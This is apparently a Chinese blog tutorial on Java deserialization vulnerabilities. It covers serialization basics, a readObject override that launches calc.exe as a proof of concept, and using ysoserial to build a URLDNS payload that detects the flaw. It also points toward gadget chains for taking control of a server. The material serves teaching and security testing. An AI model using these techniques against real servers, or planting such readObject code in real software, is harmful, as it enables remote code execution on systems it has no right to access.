java反序列化漏洞-基础

基础:

要想了解java反序列化,首先要了解什么是序列化和什么是反序列化:

序列化:作用是将对象变为字符串

调用功能:ObjectOutputStream类的 writeObject()

反序列化:作用将字符串变为对象

调用功能:ObjectInputStream 类的 readObject()

反序列化作用是为了方便存储和调用

并且只有实现了java.io.Serializable接口的才可以反序列化,在利用时要注意。

代码实现

简单实现序列化和反序列化代码

首先新建Main项目

public class Main {
    public static void main(String[] args) throws Exception {
        command comm = new command();
        comm.SetStudent("xiaomao");

        //序列化对象
        byte[] ceshi = serialize(comm);

        //base64编码字节码 用于展示
        System.out.println(Base64.getEncoder().encodeToString(ceshi));
        FileOutputStream fout = new FileOutputStream("ceshi.bin");
        fout.write(ceshi);
        fout.close();
        
        //反序列化对象并调用command中ShowStudent函数
        command comm2=(command) unserialize(ceshi);
        comm2.ShowStudent();
    }
    
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream buf = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(buf);
        //序列化对象
        objOut.writeObject(obj);
        return buf.toByteArray();
    }


    public static Object unserialize(final Object serialized) throws Exception {
        ByteArrayInputStream objInt = new ByteArrayInputStream((byte[]) serialized);
        ObjectInputStream in = new ObjectInputStream(objInt);
        return in.readObject();
    }
}

添加command函数

import java.io.Serializable;

public class command implements Serializable {
    public String name;
    // 序列化对象设置名称
    public void SetStudent(String setname){
        name = setname;
    }
    // 反序列化后调用函数
    public void ShowStudent(){
        System.out.println(name);
    }
}

运行可以看到成功在反序列化对象后调用了ShowStudent函数

可以看到生成的序列化字节码

可以看到base64编码的为rO0ABXNy打头,对应的十六进制为AC ED 00 05

修改代码

现在我们对代码进行一些改造

在command中添加如下代码

 private void readObject(java.io.ObjectInputStream stream) throws Exception {
        stream.defaultReadObject();
        Runtime.getRuntime().exec("calc.exe");
  }

执行后发现成功执行计算器

看到这里大家可以看到在我们重写了readObject函数后,在调用中会默认进行调用。

ysoserial使用:

在实际测试中常用到ysoserial-all.jar,可自动生成调用链,下载地址如下:

https://github.com/frohoff/ysoserial/releases/tag/v0.0.6

这里查看帮助我们可以看到

java -jar ysoserial-all.jar -help

有很多的调用链可以使用,这里我们先使用URLDNS,这里注意不要使用powershell生成,编码格式会出问题,使用cmd生成

在实际测试中多使用URLDNS调用链,因为此调用链只会发出dns请求,只要搭建dnslog平台就可以检测出是否存在漏洞,不会对环境产生影响,其次其不限制jdk版本,因为使用的是java内置类,没有第三方要求,所以可以避免很多版本框架限制,进而更高效的检测出是否存在漏洞。

java -jar ysoserial-all.jar URLDNS "http://www.test123.com" > urldns.bin

修改main函数代码如下

public static void main(String[] args) throws Exception {

    ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("urldns.bin"));
    objIn.readObject();
}

可以看到成功查询

这里只是简单讲述了java反序列化原理和一些简单利用,后面会对调用链和一些复杂利用进行讲解。

总结:

  1. 在序列化数据中包含有特殊字符,所以在传输过程中一般会对数据采用base64编码来保证数据读取不会出现未知问题,所以我们在测试过程中,如果在抓包中看到了rO0ABXNy开头数据包,或十六进制为AC ED 00 05数据,一般为序列化数据,就可以使用urldns调用链来测试是否真正存在java反序列化漏洞

  1. 为什么首先选用urldns调用链来进行测试,因为要想成功实现反序列化攻击,在服务器代码中要有可以利用的调用点来实现攻击,服务器本来的代码我们很难拿到,自然很难实现对调用链的搜索和利用,只能用一些公开的框架,在框架中寻找调用链进行攻击,urldns所使用的HashMap,基本都会引入,所以可以快速判断是否存在漏洞。

  1. 在测试确实存在反序列化漏洞后,我们就可以根据我们在测试过程中测试的点,来判断服务器引入了哪些框架,再去这些公开的框架中寻找调用链,进而实现对服务器的控制。

后续我会将反序列化漏洞进行一个系列的讲解,感兴趣的同学可以一起学习

java反序列化系列-URLDNS

https://blog.csdn.net/GalaxySpaceX/article/details/129185091

猜你喜欢

转载自blog.csdn.net/GalaxySpaceX/article/details/129180358